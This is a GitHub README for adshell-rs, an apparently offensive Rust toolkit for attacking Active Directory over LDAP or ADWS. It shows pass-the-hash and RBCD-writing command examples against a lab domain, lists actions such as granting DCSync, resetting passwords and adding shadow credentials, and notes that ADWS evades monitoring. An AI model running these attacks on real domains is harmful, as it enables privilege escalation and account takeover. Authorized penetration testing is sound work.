Skip to content

About

Interactive Active Directory shell and attack toolkit over LDAP(S) or ADWS (SOAP) written in Rust. πŸ¦€

Topics

Resources

Stars

87 stars

Watchers

1 watching

Forks

Latest commit

Β 

History

12 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

adshell-rs

Rust edition License Platforms Transport


adshell-rs for Active Directory Shell is a cross-platform, pure-Rust interactive LDAP shell and Active Directory attack toolkit. It runs each action over either LDAP(S) or ADWS (SOAP), selected at runtime with --transport ldap|soap: the same technique, the same result, only a different wire. ADWS (the SOAP/WS-* endpoint on TCP 9389, which the DC proxies to its local LDAP) is often reachable when LDAP is filtered or closely monitored, and the traffic reads as legitimate admin tooling.

It is built on the transport model of RustHound-CE (same ldap3 + rustls stack, the same --transport ldap|(adws,soap) switch) and performs its ADWS reads and writes through adws. Authentication mirrors RustHound-CE and PassTheCert-rs: password, pass-the-hash (NTLM), Kerberos and Pass-the-Certificate over LDAP; password and pass-the-hash over ADWS.

  • HELP.md - How to compile it? How to use it? All actions with examples.
  • CHANGELOG.md - A record of all significant version changes
  • ROADMAP.md - Transports, implemented actions and planned evolutions.

Quick usage

Compilation

# Build a release binary
cargo build --release
# Binary: ./target/release/adshell-rs

Installation

Crates.io Version Crates.io Total Downloads

# Install and/or update adshell-rs from cargo command
cargo install adshell-rs

Usage

# Confirm the identity (LDAP, simple bind)
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' --action whoami
# Confirm the identity (SOAP)
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' --transport adws --action whoami

# Same, over ADWS (SOAP) instead of LDAP
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' -t soap --action read_rbcd --delegate-to BRAAVOS$

# Pass-the-hash, write RBCD over ADWS
adshell-rs -d essos.local -u daenerys.targaryen -H 34534854d33b398b66684072224bb47a -t soap --action write_rbcd --delegate-to MEEREEN$ --delegate-from attacker$

The transport is ldap by default; -t soap (alias -t adws, case-insensitive) runs the same action over ADWS. More examples and the full list of actions are on the help page.

Demo

Demo adshell-rs over ADWS (SOAP)

Actions

--action defaults to ldapshell, the interactive shell, which drives whichever transport authenticated (each command runs over LDAP or ADWS).

Action LDAP ADWS Description
ldapshell (default) βœ… βœ… Interactive shell exposing every action (Tab completion, history).
whoami βœ… βœ… Confirm the authenticated identity.
read_rbcd / write_rbcd / remove_rbcd / flush_rbcd βœ… βœ… Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity).
del_computer βœ… βœ… Delete a machine account.
add_computer βœ… βœ… Create a machine account (ADWS needs Create).
modify_user (--elevate) βœ… βœ… Reset a user's password, or grant DCSync.
add_member / remove_member βœ… βœ… Group membership.
enable_account / disable_account βœ… βœ… Toggle the ACCOUNTDISABLE UAC flag.
read_object βœ… βœ… Dump every attribute of an object.
add/list/remove/flush_shadow_cred βœ… βœ… Shadow Credentials via msDS-KeyCredentialLink.

See ROADMAP.md for the full plan and HELP.md for examples.

Disclaimer

This is offensive security tooling. Use it only against systems you are explicitly authorized to test.

About

Interactive Active Directory shell and attack toolkit over LDAP(S) or ADWS (SOAP) written in Rust. πŸ¦€

Topics

Resources

Stars

87 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages